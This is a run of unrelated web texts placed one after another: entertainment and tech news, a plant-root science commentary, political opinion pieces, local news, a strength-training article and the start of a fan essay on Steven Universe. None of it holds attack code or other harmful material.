and Skydance Productions are eyeing five top directors to replace Roberto Orci as the Star Trek 3 helmer, I’m told. This is the hot open directing assignment of the moment. Studio is high on and has met with Rupert Wyatt, who helmed Rise of the Planet of the Apes, and the new remake The Gambler with Mark Wahlberg for Paramount. He seems to be atop this list, but he’s got company. Morten Tyldum, director of the Oscar bait film The Imitation Game, is on a list that also features Safe House helmer Daniel Espinosa, who has wrapped Child 44 with Tom Hardy; Justin Lin, the Fast & Furious helmer who became available when his Bourne Legacy sequel with Jeremy Renner got pushed back to make way for another Bourne Identity with Matt Damon and Paul Greengrass (Lin could return to the Fast series, making multiple movies in a single shoot, to wrap up that race car franchise); finally there is also Duncan Jones, the Source Code helmer.
Now, when you aim for the hot emerging directors in town, there are a lots of variables including schedule conflicts and this list might not be an all-inclusive list. For instance, Espinosa is expected to next direct Boston Strong, the film about the bombing of the Boston Marathon and the manhunt for the terrorist siblings, that is supposed to shoot in time to include footage from the upcoming Boston Marathon; and Jones is working on Warcraft, a huge Legendary Pictures effort based on the video game. Deadline broke the news that Orci exited the directing chair earlier this month. He was tapped to replace JJ Abrams, who left to revive the Star Wars franchise. Orci remains a producer with Abrams and others, and Orci helped craft the first two Trek installments that Abrams directed. At the time of the Orci exit, I’d heard Edgar Wright. Not hearing his name in this mix. Stay tuned.If you grew up in the '90s, chances are you knew about American Girl dolls. Maybe you were lucky enough to have one yourself, or perhaps you would envy your friends as they spent hours dressing up their dolls and arranging their tiny furniture. One way or another, American Girls were undoubtedly everywhere.
There were monthly catalogues, hundreds of different miniature outfits, props and, of course, countless dolls to choose from. And though you might think you left your American Girl in your childhood, we think the doll you chose back then actually says a lot about your style today.
Okay, maybe not that much, but there are definitely girls that are so Samantha.
Josefina
If you had Josefina, you're now the girl who embraces awkward-length midi skirts, rocks flea market jewelry and loves her some messy long hair. You probably shop at Anthropologie.
Samantha
If you had Samantha, you're now the preppy girl who has expensive taste and a penchant for luxe materials like fur and velvet. All your friends are most likely jealous of your closet. You probably shop at Barneys.
Molly
If you had Molly, you were a hipster before contemporary hipsters were a thing. Now you love ironic prep styles, round glasses and hats of all kinds. You probably shop at American Apparel.
Felicity
If you had Felicity, you're now the girl who loves vintage clothes with a feminine vibe (think short floral dresses and pink pea coats). You probably shop at Brandy Melville.
Kirsten
If you had Kirsten, you're now the girl who is obsessed with DIY, playing with different hairstyles and all things lacey and frilly. You probably shop at Free People.
Addy
If you had Addy, you're now the girl who adores classic silhouettes, bold colors and playful prints. You probably shop at ASOS.
Kit
If you had Kit, you're now the girl who is unapologetically "girly," hates wearing pants and loves a twin set. You probably shop at Ann Taylor LOFT.
My New American Girl
If you had a My New American Girl (aka the doll who looked like you), then you're now the girl who is the first to embrace new trends (monochromatic outfits, anyone?), you always want the latest fashions and spend a great deal of time perusing Style.com. You probably shop at Zara.
Young gals who love their American Girl Dolls:
Ilona Szwarc's 'American Girls' SEE GALLERYWell, just when you thought 3D printing was finally putting you back in charge of creating your own stuff, along comes iRobot Corporation with a U.S. patent application for a “Robotic Fabricator.”
It’s conceived as a completely autonomous all-in-one product fabrication robot that handles manufacturing (including 3D printing) and all the post-printing work, from seed component to mature product, 3Ders reports.
A Robotic Fabricator would automate manufacturing and assembly processes to reduce the need for human labor, decrease manufacturing costs, and improve product quality.
Product fabrication is centered around a six-axis industrial robotic manipulator that handles the product from seed component to mature product. The primary manipulator positions the product for manufacturing operations such as additive and subtractive manufacturing (3D printing, milling and drilling). A secondary manipulator handles component pick-and-place and secondary manufacturing operations such as wire placement and hardware testing.
The system may include one or more sensors that can measure parameters and characteristics of the product being manufactured while the process is taking place. For example, the system can include a precision visual scanning device that will generate precise measurements of the product being fabricated. Information collected by the sensor may be used by the fabrication machine to adjust subsequent steps in the manufacturing process. The sensors can also be used for detecting electrical anomalies in wiring to add wires or cables to a product etc.
The fabrication machine also uses a pick-and-place manufacturing method with the added capability of operating in six degrees of freedom, allowing for the placement of components in arbitrary locations on the product assembly.The government on Monday slammed the conservation group Sea Shepherd Conservation Society for employing dangerous tactics to obstruct the operations of Japanese whaling vessels in the Antarctic Ocean over the weekend, causing one of them to suffer damage to its stern.
“It was a very dangerous act and can never be condoned,” Chief Cabinet Secretary Yoshihide Suga told a press conference.
Japan has asked the Netherlands to prevent a recurrence, as the Sea Shepherd group’s vessels fly under Dutch flags, he said.
According to a statement released by the Japanese fleet engaged in so-called research whaling, the Japanese harpoon vessels Yushin Maru, Yushin Maru No. 2 and Yushin Maru No. 3 “were subject to sabotage” by the Sea Shepherd ships Steve Irwin and Bob Barker.
It said inflatable boats sent from the Sea Shepherd vessels deployed ropes in front of the bows of the Japanese vessels, one of which became entangled in the Yushin Maru’s propeller, while the Bob Barker collided with the stern of the Yushin Maru No. 3, bending its rail and denting the hull.
Sea Shepherd called Japan’s account of what happened “an absolute lie” and released footage it said shows an “unprovoked, ruthless and premeditated” attack by the Japanese vessels on the Sea Shepherd ships that lasted for nine hours Sunday morning.
It said the Japanese vessels crossed the bows of the Sea Shepherd ships dozens of times, towing 300 meter-long steel cables intended to ensnare and damage their propellers.New StatsCan provincial GDP numbers are out and, of course, Alberta's economy contracted by 3.8 per cent in 2016, which is astonishing because it’s even worse than 2015's 3.7 per cent shrinkage.
The last time GDP fell for two consecutive years in Alberta was in 1982 and 1983.
The NDP are so ridiculously inept at running Alberta they have recreated the results of Pierre Trudeau’s National Energy Program of 1982 and 1983. Imagine being that awful and still thinking you're doing a good job.
You've just imagined Rachel Notley.
These numbers are bad but actually it’s even worse when you put the NDP’s failure to manage the economy in context with our neighbours.
Watch my video to see how Alberta stacks up with BC and Saskatchewan. You know it’s not good.
You can’t grow the economy from the heart outward and you can’t grow the economy by taxing it to death and spending yourself into the poor house.
But that doesn't mean the NDP will correct their destructive course.
Expect more of the same. Every socialist thinks the time they try socialism is the time they'll get it right.‘We believe there is no structure in plants more wonderful, as far as functions are concerned, than the tip of the radicle.’(Darwin & Darwin, 1880)
Plant growth is most often limited by the availability of soil resources, particularly water and macronutrients such as nitrogen (N) and phosphorus (P). Because of this, understanding how plant roots obtain soil resources, as well as how root and shoot functions are coordinated, has long been a focus of research at the molecular, physiological, and ecological levels (Hodge et al., 2009). Moreover, ever since the discovery that roots could sense and respond to their environment (Darwin & Darwin, 1880), plant biologists have sought to understand how root structure and function varies with environmental variation. Historically, climate was considered to be an important determinant of variation in root morphology and architecture, a principle first supported by the comparative studies of John Weaver and his colleagues (Weaver, 1919). Weaver's detailed descriptions of 140 plant species across the prairies, chaparral and forests of the western United States also showed that root architecture is not independent from growth form and taxonomy. These early studies were followed by a more intense focus on fine roots, which are most actively engaged in soil‐resource foraging and uptake, as well as symbiosis formation with soil microbes (Fitter & Hay, 1981). Nevertheless, despite continued surveys of both fine‐root morphology and whole‐root system architecture (Jackson et al., 1997; Schenk & Jackson, 2002), and notwithstanding Darwin's early interest, root traits have only recently begun to be simultaneously evaluated in both ecological and evolutionary contexts (Comas et al., 2012). In this issue of New Phytologist, Valverde‐Barrantes et al. (pp. 1562–1573) provide a much‐needed global synthesis of the ecological and evolutionary factors that have influenced variation in fine‐root traits. By placing a spotlight on the evolutionary ecology of roots, Valverde‐Barrantes et al. provide necessary context for future hypothesis tests of the origin and significance of variation in root structure and function.
Using a recently published database (Iversen et al., 2017), Valverde‐Barrantes et al. address several questions aimed at strengthening the ability to predict variation in root traits across the globe. They ask whether root traits co‐vary with leaf traits in a manner that is consistent with leaf economics spectrum theory, where leaf function spans a gradient from slow‐growing species that produce long‐lived, structurally expensive leaves with a low N content to fast‐growing species that produce short‐lived, structurally inexpensive leaves with a high N content (Donovan et al., 2011). If root variation also falls along this axis, then slow‐growing species should have structurally expensive, low N content roots, whereas fast‐growing species should have structurally inexpensive, high N content roots. Valverde‐Barrantes et al. also aim to improve the ability to predict root traits from other variables by testing the relative importance of climate, growth form, mycorrhizal status and phylogeny as potential causal factors. These factors have long been recognized for their influence on root traits, but Valverde‐Barrantes et al.'s study represents the first attempt to quantitatively partition these sources of variation at a global scale.
‘These factors have long been recognized for their influence on root traits, but this study represents the first attempt to quantitatively partition these sources of variation at a global scale.’
Valverde‐Barrantes et al.'s analysis will be influential, simply because the patterns they uncover raise many follow‐up questions. One of the most consistent findings was that phylogeny explains a substantial amount of variation in root traits, and, therefore, becomes an important consideration in predicting not only global variation in root traits, but also for assessing the degree to which above‐ and below‐ground economics spectrum traits co‐vary. Core predictions about integration between above‐ and below‐ground economics spectrum traits were supported; variation in traits that reflect the structural costs of fine roots (specific root length, SRL) and leaves (specific leaf area, SLA) were positively correlated, as were root and leaf N contents. However, the level of trait integration varied with the traits under consideration and with phylogenetic group. For example, the correlation between SRL and SLA was stronger in clades dominated by herbaceous species (e.g. monocots, Caryophyllales) and weaker in clades where woody plants were more frequent (e.g. Gymnosperms, Magnoliids). By contrast, the correlation between root and leaf N was stronger in clades dominated by woody plants than in predominantly herbaceous clades.
The substantial role that phylogeny has in accounting for global variation in root traits is also one of the most striking findings in Valverde‐Barrantes et al.'s analyses. Phylogenetic effects were stronger than any other factor, including climatic variation and mycorrhizal status, which have been consistently evoked as important drivers of root trait variation (Weaver, 1919; Fitter & Hay, 1981; Brundrett, 2002; Schenk & Jackson, 2002). Of particular interest is that, depending on the trait being examined, different phylogenetic scales accounted for different amounts of variation. For example, divergences at the order level explained much of the phylogenetic signal for root diameter, whereas family‐level divergences were the strongest determinant of phylogenetic signal for root N content. Although a lack of available data prevented assessments of phylogenetic signal at finer scales, recent work in Helianthus suggests that within a genus root traits can be quite variable, and thus have no phylogenetic signal (Bowsher et al., 2016). If phylogenetic effects on root variation are consistently weaker at finer scales, then tests of correlated evolution between leaf and root economics spectrum traits may be more informative when done within a genus.
Even though phylogeny accounts for substantial variation in root traits, this finding does not identify mechanisms responsible for the diversification of root structure and function. Instead, evolutionary hypotheses still need to be tested to explain the phylogenetic patterns. For example, the observation that extant variation in root traits is associated with a few deep divergences in the phylogeny suggests that there may be genetic constraints on evolutionary change in the descendent clades. These may arise from a lack of genetic variation or genetic trade‐offs in populations, such that a response to natural selection on root traits is weak or absent. Although genotypic variation in root morphology and architecture has only been measured in a handful of species, such variation appears to be abundant (Ristova & Busch, 2014), which suggests that adaptation is unlikely to be limited by this factor. Alternatively, stabilizing selection to preserve a particular optimum may be common, resulting in stasis. To test this hypothesis, the form, magnitude and direction of natural selection on root traits needs to be quantified. Ideally, such studies should be carried out with replicate populations in contrasting soil and climate environments to causally link putative agents of selection to specific root adaptations (Wade & Kalisz, 1990; Donovan et al., 2011).
Another emergent pattern from Valverde‐Barrantes et al. that deserves further study is that root‐trait variation is quite homogenous in some clades, whereas it is heterogeneous in other clades. To illustrate differences in within‐clade variability, order‐level standard deviations in root diameter were plotted against order‐level means and departures from the least‐squares regression line used to identify clades with higher, or lower, than expected variation in root diameter (Fig. 1). This analysis indicates that the Ericales, Malpighiales, Apiales, and Liliales have exceptionally high interspecific variation, suggesting that root evolution may be quite labile in these lineages. Further studies in lineages where root traits are highly variable could help to identify the ecological causes of diversification in root morphology. It should also be noted that the Asterales, Fabales and Magnoliales have relatively low interspecific variation in root diameter, and studying these lineages could yield insights into the mechanisms that constrain diversification in root structure and function.
Figure 1 Open in figure viewerPowerPoint Valverde‐Barrantes et al. New Phytologist (pp. 1562–1573), and include only those orders that had at least five species sampled. Orders with standard deviations higher than the confidence interval have higher than expected interspecific variation relative to the least squares prediction, and orders with standard deviations lower than the confidence interval have lower than expected interspecific variation. Symbol colours represent sample sizes for each order, ranging from blue (low) to red (high) as indicated on the legend. The relationship between the standard deviation of root diameter and mean root diameter for 22 plant orders. A least squares regression along with a 95% confidence interval (shaded region) was fit to the data. Data were obtained from, in this issue of(pp. 1562–1573), and include only those orders that had at least five species sampled. Orders with standard deviations higher than the confidence interval have higher than expected interspecific variation relative to the least squares prediction, and orders with standard deviations lower than the confidence interval have lower than expected interspecific variation. Symbol colours represent sample sizes for each order, ranging from blue (low) to red (high) as indicated on the legend.
Valverde‐Barrantes et al. also test a long‐held hypothesis that mycorrhizal status and fine‐root morphology are correlated. This hypothesis is based on the expectation that because plants with coarser roots have lower intrinsic ability to absorb nutrients than plants with finer roots, they should benefit the most from a nutritional symbiosis with mycorrhizal fungi (Brundrett, 2002; Maherali, 2014). However, Valverde‐Barrantes et al. find very little to no association between mycorrhizal status and any measure of fine‐root morphology. This finding suggests that evolutionary losses of the mycorrhizal symbiosis may have occurred without a shift in root morphology, and this is consistent with a recent meta‐analysis showing that root traits and growth response to mycorrhizal colonization are also not correlated (Maherali, 2014). Valverde‐Barrantes et al. are careful to point out that other aspects of the mycorrhizal symbiosis, such as the intensity of root colonization, have been associated with the diameter and anatomical configuration of fine roots. More work on this topic is necessary, and as noted elsewhere (Hodge et al., 2009; Maherali, 2014; Kong et al., 2017), other traits such as root‐hair length, root‐hair frequency, fine‐root branching and the ratio between cortical and vascular tissue could be associated with mycorrhizal status.
The global scale of Valverde‐Barrantes et al.'s analysis and the inclusion of species that span nearly two‐thirds of all seed plant orders (40 of c. 60 defined orders; Stevens, 2001) provides necessary context for future research in specific communities or taxonomic groups, and also helps us recognize that much more remains to be done. For example, root traits for only a fraction of plant species have been sampled (c. 600 out of >300 000), and even orders that rank highly in terms of species sampled still only include a small subset of the total diversity available (e.g. Poales, Fig. 1, with 75 of an estimated c. 19 000 species sampled; Stevens, 2001). The need for more sampling is highlighted by Valverde‐Barrantes et al. for improving the ability to predict root variation in certain biomes, and one could also add a call for more data collection from all biomes and taxonomic groups. As global root trait data accumulate to match observations for above‐ground traits (Diaz et al., 2016), our understanding of the evolutionary causes and ecological consequences of root variation can only improve.Here is a partial list of what's open and what's closed on Labour Day, Sept. 7, in Montreal.
Businesses
Closed
Most large grocery stores.
Shopping malls.
Open
SAQ liquor stores (except those inside of shopping malls).
Small businesses (at the owner's discretion).
Public markets (Atwater, Jean-Talon, Maisonneuve).
Most restaurants, dépanneurs, pharmacies and gas stations.
City activities and services
Closed
Grande Bibliothèque (BANQ).
Federal, provincial and municipal service and government buildings.
Banks.
Post offices.
Open
Insectarium, Biodôme, Botanical Garden and the Planetarium are open. Check the schedules here.
Pointe-à-Callière Museum.
Eco-centres.
Garbage pickup
Trash and recycling pickup will happen as scheduled, but the large-item pickup in Côte-des-Neiges—Notre-Dame-de-Grâce is cancelled.
Public transit
Most city bus services in Quebec will be operating on a Sunday schedule. In Montreal, the STM is asking its users to consult bus and Metro schedules online before heading out.
Leisure and sports
Some pools, arenas and sports complexes may be open. Call the centre directly for more information.First it was Warren Buffett announcing that he and his chums had been "coddled long enough by a billionaire-friendly Congress".
Then Liliane Bettencourt, France's richest woman, who was at the centre of a tax scandal last year, signed a letter along with 15 other billionaires begging to make a special contribution to the treasury to help drag France out of the financial crisis.
Even an Italian got in the action, with the boss of Ferrari saying that as he was rich, it was only "right" that he stump up more cash.
Now, as both France and Spain consider introducing a wealth tax, a group of 50 rich Germans have joined the "tax me harder" movement by renewing their open call to Angela Merkel to "stop the gap between rich and poor getting even bigger".
The German group, Vermögende für eine Vermögensabgabe (The Wealthy for a Capital Levy) is the latest manifestation of a feeling among some well-off individuals that the spare cash in their bank accounts might be able to ease, if not solve, the financial crises threatening to cripple their countries.
"None of us are in Buffett's or Bettencourt's league," said the founder, Dieter Lehmkuhl, a retired doctor with assets of €1.5m (£1.3m). "We're a broad church – teachers, doctors, entrepreneurs. Most of our wealth is inherited. But we have more money than we need."
The group's manifesto claims Germany could raise €100bn (£88.5bn) if the richest paid a 5% wealth tax for two years.
On Monday, Lehmkuhl said he was renewing his call, first issued two years ago, to Merkel's government to rethink its taxation policies. Currently the richest Germans are taxed a maximum of 42%. The previous chancellor, Gerhard Schröder, lowered the top tax rate from the 53% ceiling set by his predecessor, Helmut Kohl.
"I would say to Merkel that the answer to sorting out Germany's financial problems, our public debt, is not to bring in cuts, which will disproportionately hit poorer people, but to tax the wealthy more," said Lehmkuhl. "We are always hearing about savings packages, but never tax rises. Yet tax increases are a way out of this mess. That's where the money is: rich people.
"Something needs to be done to stop the gap between rich and poor getting even bigger."
Under his group's plans, the new tax would only affect individuals with more than €500,000 in capital wealth. All money over that ceiling would initially be taxed at 5% for the first two years and thereafter at 1% or more.
Last week in France Nicolas Sarkozy proposed a similar idea: a temporary tax on the very rich. This would arrive in the form of an "exceptional contribution" of 3% on taxable earnings for those earning above €500,000. It will probably only last until 2013.
The initiative has been attacked as an empty stunt before it has even kicked in – even by some in his own party. The left deemed it a smokescreen to hide the fact that Sarkozy has given away billions of euros in tax breaks to the rich while this new measure will yield only €200m. Chantal Brunel, an MP for Sarkozy's own ruling rightwing UMP party, said that there must be higher permanent tax levels for "big fortunes" because "the rich must participate more".
In Italy too, one of the country's richest citizens has come forward to offer to pay more tax – but only if Silvio Berlusconi's government embarks on a wide-ranging programme of neo-liberal reform.
Luca di Montezemolo, the multimillionaire Ferrari chairman, made his offer in an interview with the centre-left daily La Repubblica earlier this month.
Montezemolo, 63, who has long been suspected of harbouring political ambitions, said he wanted to see the government raise cash by means of property sales and reductions in the perks of Italy's pampered politicians. "Then, but only then, a contribution on the part of members of the public is needed," he said. "You have to begin by asking it of those who have most, because it is scandalous that it should be asked of the middle class."
He said that even before the markets were swept this month by concern over Italy's giant public debt, he had proposed a surtax on annual incomes of between €5m and €10m. But it had met with a "deafening silence".
In Spain, the Socialist government is reported to be considering the reintroduction of a wealth tax scrapped just three years ago. Experts say the tax on assets, not including a first residence, would produce upwards of €1bn of revenue from just 50,000 rich individuals. Finance minister Elena Salgado is on record as saying she regrets the demise of the tax.
Alfredo Pérez Rublacaba, the new Socialist candidate for prime minister at the 20 November general election in Spain, has already pledged to hike taxes on the rich if elected.
In the US, Buffett has been mocked for his admission in the New York Timesthis month that he felt bad about only paying $6.9m in tax last year, 17.4% of his taxable income, while his staff paid an average of 36%.
He suggested income and investment tax rates should be raised on those making more than $1m in taxable income– 0.2% of people who filed tax returns in 2009. The article attracted fierce criticism. "Warren Buffett, hypocrite," was the headline in the New York Post. "He cares more about shilling for President Obama – who's practically made socking'millionaires and billionaires' his re-election theme song – than about kicking in more himself," the paper said.
Harvey Golub, former chief executive of American Express, told the Wall Street Journal: "Before you 'ask' for more tax money from me and others, raise the $2.2tn you already collect each year more fairly and spend it more wisely."
Additional reporting by Angelique Chrisafis, John Hooper, Giles Tremlett and Dominic Rushe
Squeeze the rich
A "squeeze the rich" tax increase in the UK is unlikely despite the fiscal sacrifices offered by moneyed citizens in the US, France and Germany. The 50p rate introduced by the Labour government is more likely to be scrapped in a few years' time rather than be raised. George Osborne said in his March budget that the 50p rate on taxable income greater than £150,000 per year would inflict "lasting damage" on the economy if it became permanent, laying the ground for its withdrawal in the medium term.
The Centre for Policy Studies, a centre-right thinktank, said there was a huge difference between generosity, as practised by Warren Buffett, and compulsory taxation. Tim Knox, director of the CPS, said: "In the UK there is little evidence that the 50p tax rate is bringing in extra revenues for the Treasury, while it arguably reduces growth by cutting incentives to one of the most entrepreneurial sectors of the economy. Thus, in the long term, higher taxes on the rich can hit the less well-off most because less wealth is being generated and put into the economy. So while the generosity and philanthropy of the super-rich should not be questioned, whether their good intentions will produce the desired effect is a completely different matter."
Len McCluskey, general secretary of the Unite union, said the public is being "softened up" for the abandonment of the 50p rate. "This government is impatient to ditch it because it believes wealth can be clasped by the few," he said.
Dan MilmoThe effect itself. "The problem is the war!" No, the problem is the cause of the war, which may be economic, political, biological, religious, etc.
The messenger. "That kid is starting a riot by spreading propaganda against our discipline!" Possibly -- but equally possible is that the discipline is at fault. More information needed.
The taboo. "He's a Satanist/racist/Muslim/Jew/Scientologist who believes in biological determinism/eternal life/nothing/money isn't everything. Therefore, he's going to destroy us." Not necessarily, unless you can show that his beliefs include a doctrine that embraces a practice that will cause destruction -- and that is your actual cause.
The sacred cow. "He's suggesting we do away with prayer in schools, so he must be bad!" What is his reason for doing away with prayer in schools? Are we sure it is connected to a desire to do evil?
The catch-all. "If God wanted us to fly, he would have given us wings!" Ascribing intent to Gods, nature or the founding fathers that "catch all" arguments makes them impossible dichotomies.
Regrettably [Chavez's] speech soon deteriorated into a laughable anti-capitalist rallying cry for the socialist model that he espouses.
The only golden nugget from his speech was:
"If the climate was a bank they would have saved it by now."
Time to Market
"If the climate was an imperiled minority group, we would have saved it by now."
"If the climate was a lost puppy, we would have saved it by now."
"If the climate was gay marriage, we would have saved it by now."
"If the climate was baby Jesus, we would have saved it by now."
If you're a realist, you've gotten over thinking about how it looks to others that you think what you do. You've even gotten over whether you like it or not.You just make conclusions: this cause appears to create this effect, so if it happens again, we'll get some variation on that effect. You then analyze everything that comes to your way to figure out its cause/effect structure and, if you've seen it before, apply a winning (or loss minimization) strategy.Not rocket science, eh? Well, there are many things we can mistake for causes:You can see some of that in practice here, where someone is pointing out that we've confused a sacred cow with an actual issue -- and in doing so, makes the same mistake himself:What he's saying is that we have confused sacred cows for actual issues.What he has missed is that claiming banking is our sacred cow is wrong; our sacred cow is anything popular with our egalitarian masses.Try these, Chavez:What do all of these have in common? They're tangible symbols by which we as individuals gained social status. "See, I'm good; I help the poor/minorities/Jesus/gays/women with 1% of my salary after taxes!"The real problem, the real cause, is that we're looking to gain popularity by our choices, not thinking rationality. It's a mental laziness that will punish us.It was easy to see it coming. WikiLeaks founder Julian Assange formally asked for asylum in France in a letter sent to Le Monde. Over the past couple of weeks, WikiLeaks dropped multiple documents related to France and Germany. We learned that the NSA monitored French presidents and officials, spied on top French companies and eavesdropped Angela Merkel for sure.
As always, WikiLeaks is looking to generate the maximum amount of outrage with its revelations. To do this, the organization partners with media organizations in multiple countries. This time, WikiLeaks has worked with Libération and Mediapart in France (two left-leaning outlets), and Süddeutsche Zeitung in Germany.
While the new revelations from WikiLeaks are interesting, it also shows that Assange has his own personal agenda. It will be interesting to see whether he will adopt the same strategy with another country in the coming months.
Assange’s letter is long and wordy. It goes on and on about all the reasons why he shouldn’t be judged by an American court, why he is forced to stay in the Embassy of Ecuador in London, and why it would make sense for the French President François Hollande to let Assange come to France.
Interestingly, the French President statement is short and straight to the point. It was released just a couple of hours after Assange’s request. Here it is, translated from French:
France has received Mr. Assange’s letter. A careful examination shows that, given the judicial and material situation of Mr. Assange, France cannot accept his request. Mr. Assange’s situation isn’t in jeopardy. There is also a European arrest warrant against him.
Update: Assange’s lawyer Baltasar Garzon published a statement as both Le Monde and the French President misinterpreted Assange’s letter as a request for asylum. “My client has stated that, if the competent French authorities decided to give him protection, he would receive this offer positively,” Garzon wrote. It seems obvious that Assange was looking for asylum with his letter even though he didn’t ask the president directly.BOWDOINHAM, Maine — A small airplane crashed Tuesday morning when the pilot tried to make an emergency landing on the southbound side of Interstate 295 — but he and his passenger were able to walk away mostly unharmed, officials said.
Pilot John Gayley from Bowdoin told investigators that his 1947 Cessna fixed wing started having engine problems shortly after he took off from the Merrymeeting Field in Bowdoinham with passenger Rodney Voisene of Bowdoin.
Gayley said that his engine stalled when he tried to switch fuel tanks, according to Stephen McCausland, spokesman for the Maine Department of Public Safety.
Gayley landed the plane in the southbound lane at around 10:15 a.m., against traffic, but crashed into the guardrail, flipping the aircraft’s tail into the air, McCausland said.
“One vehicle had to swerve to avoid the plane as it landed,” he said.
Both the pilot and passenger walked away from the wreck, but each had minor injuries and were taken to local hospitals. Gayley had cuts and scrapes to his face, and Voisene had minor cuts to his arm, McCausland said.
The plane was traveling to Twitchell’s Airport and Seaplane Base in Turner, Maine.
The plane’s engine compartment was crushed, but the wings appeared intact.
Firefighters at the scene initially kept people away from the plane because it was leaking fuel. Traffic after the crash was reduced to one lane, and a wrecker was scheduled to remove the aircraft Tuesday afternoon.
The FAA spent part of Tuesday investigating the crash.
Watch bangordailynews.com for updates.The new service, dubbed TVer, will be ad-supported and free to viewers.
Japan's top five commercial TV networks are banding together to launch a catch-up streaming video service to extend their programming's reach online.
The service, named TVer, will debut in October — right around the time Netflix is expected to begin operating in Japan. The service was announced on Monday.
The participating networks, all based in Tokyo, are: Nippon Television Network, TV Asahi, TBS TV, TV Tokyo and Fuji Television Network.
Each network will supply TVer 10 shows weekly, and each episode will be available for seven days. TVer will carry comedies, dramas and variety shows, all of which will be ad-supported and free to viewers.
After a relatively slow start, Japan's streaming video space is becoming increasingly competitive. Earlier this month, a consortium of Japanese entertainment companies, TV networks and industry associations came together to form the Japan Contents Group, which will launch a video-on-demand service called Bonobo this fall.
Services such as Hulu, Gyao, Unext and others have been operating in Japan for some time, while the country's major mobile operators SoftBank, NTT Docomo and KDDI also all run their own online video services. In February, Netflix announced that it would join the fray with a Japan launch in the fall.jeff: A million years ago when I was still in art school, one of my roommates was working for Wallspace and he got me into it. The small and medium galleries don’t need full-time preparators or installers. Back then, Chelsea had relatively the same schedule it does now. You would go there about monthly. Or, they would need something pulled out of storage and hung in the backroom for some collector. Or, they would need to move inventory in and out.
I work mainly for private and corporate clients. I’ve also worked for big galleries like Kreps or Marlboro. The museum world is another universe, where preparators and conservators are generally salaried and full-time. Another thing to think about auction houses like Sotheby’s and Christie’s, which is it’s own huge industry of preparators and handlers who are sometimes union and sometimes not.
andy: I’ve done a lot of work with museums, galleries, artists and private clients. Museums are a lot more culturally focused in terms of both purpose and execution. Of course, there are a lot of people behind the scenes who use the museum as a platform for getting more exposure for art they’re trying to sell, but that’s somewhat secondary. The gallery is pretty much a capitalist endeavor on every front. Although they may have some sort of obvious interest in cultural programming from a basic standpoint, the main focus is selling artwork.
This reflects on art handling. In a museum you’re |
an entire area and this would leave that limb practically useless until we had recovered. Finally, inefficiencies in our nervous system prevent the signal from getting through as clear as it would need to to trigger 100% activation.
Increasing Motor Unit Activation
So how do you increase your motor unit recruitment without taking your youngest child and throwing them under a bus?
I’m very curious as to whether it would be possible to use CBT and meditation to get yourself into a mental state where you could throw hugely heavy objects around… but more on that in a future article.
A more practical method is to try and focus on strengthening your ‘mind muscle connection’. In other words, your ability to precisely control the muscles in your body. And to do that you can use a number of strategies. One is to practice tension and try tensing all the muscles in your body. The more you practice this, the more used to contracting those muscles your body will become.
Guess who used this old technique? That’s right: Bruce Lee. Bruce called it the ‘iso-tension’ technique (though it’s also called ‘iso contraction’) and used it for ten seconds after completing a set. This also helped with something else: time under tension. Time under tension represents the total amount of time that the muscle spends ‘working’ and by using iso-tension for ten seconds following each set, Bruce could increase the ‘occlusion’ of blood and metabolites in the muscle to stimulate more growth. Bruce Lee would also contract the rest of his body during any isolation exercise (so his core would be tensed for instance throughout a set of press-ups) and this allowed him to further gain control over his CNS. You can also use dynamic tension which means contracting the muscle while performing the range of motion needed for that exercise.
Another strategy is to use ‘overcoming isometrics’. ‘Iso’ in this context means static, and thus ‘isometrics’ are the opposite to plyometrics. Instead of launching and exploding, you’re instead holding a position. An isometric hold against sub 100% 1RM (called yielding isometrics) involves holding a dumbbell at 90 degrees for instance, or holding a handstand position. That’s not what we’re talking about here though. Instead, we’re talking about overcoming isometrics which involve pulling or pushing against an immovable force (+100% of 1RM). This is another one Bruce Lee would use – this time by trying to curl a barbell attached to the floor via a chain.
Why is this effective? Because as far as the body is concerned, it’s the same as trying to lift 150% of your 1RM. In other words, your body will need to try and recruit every single motor unit including those big ones made up of fast twitch muscle fibers. And the more you practice recruiting all your muscle fibers, the more you will strengthen that mind-muscle connection. Powerlifters increase their mind muscle connection to a great degree because they constantly try lifting close to 100% of their 1RM – thus engaging more and more fibers. The real strongmen who bend steel though, use overcoming isometrics and that’s pretty much what bending steel equates to – at least when you start out! (This also happens to be excellent training for your grip strength, which drastically improves your overall
Finally, it’s also worth noting that you can improve your control over your central nervous system through practice. Like the rest of your brain, the nerves connecting your muscles are plastic and can be reinforced and altered through training and repetition. Every one of your motor units is connected to your brain via a nerve and each of these connections is then mapped out through your motor cortex. And like your muscle fiber, your nerves range in speed as well (you have ‘fast twitch’ and ‘slow twitch’ nerves).
When you learn any complex movement, your brain changes shape via the release of brain derived neurotrophic factor (BDNF) and nerve growth factor. Meanwhile, the nerves and brain cells involved in the movement will become more conductive via myelination each time you rehearse that movement (increasing ‘long term potentiation’ or ‘LPT’). The result is that you can perform the movement more efficiently and powerfully over time – and as demyelination doesn’t tend to occur, once learned, these movements will remain somewhat imprinted. The more you practice any movement, the more graceful, powerful and fast that movement becomes.
What’s that? You were hoping for a ‘quick fix’? You’re in luck! The best way to quickly improve your control over a movement is to perform a ‘warm up set’. That’s a set of that movement performed perfectly without weight. Why does this work? Because it ‘potentiates’ the neural network involved in the movement – once a neuron has fired once, it becomes more inclined to do so again subsequently. So if you perform one perfect set, you’ll prep your brain and nervous system to better engage the muscles in your following sets against resistance. This is a technique used by many a bodybuilder to great effect.
So there you go, that’s a fair bit of information you likely didn’t know about muscle fiber types. This is a far more complex subject than many people realize and if you really want to maximize your strength and force, you need to consider factors such as hyperplasia, your central nervous system and more. Now you know!
References:
Speed training: “Adaptation to chronic eccentric exercise in humans: the influence of contraction velocity.”
Muscle fiber conversion: “Increase in the proportion of fast-twitch muscle fibres by sprint training in males.”
Hyperplasia: “Skeletal muscle fiber hyperplasia.”
Stimulants with a similar effect to hysterical strength?: “Action of the sympathetic system on skeletal muscle.“All These Black Characters and 0 Done Right — How Steven Universe Fails Its Black Fanbase, Part I.
If the title isn’t a clue: Your favorite queer-awesome show fails on racial lines to a horribly deep degree, and nobody cares.
This is an explanatory essay. The people I will debate with know who they are and will approach me freely. The people I have no intention of discussing this with are likely blocked. Know which you are.
The Business End
First, a content warning: There will be discussion of rape, violence and abuse as they exist in the series, and as they are discussed in the fandom. Please leave at this time if these topics will cause you harm.
Second: I will discuss Pearl as primarily white, but occasionally Asian. The former is because that’s what I code her as based on her narratives, the focus on her character, and the things she’s allowed to get away with, the latter is because of the large number of Asians I have seen coding her as such and heavily identifying with her.
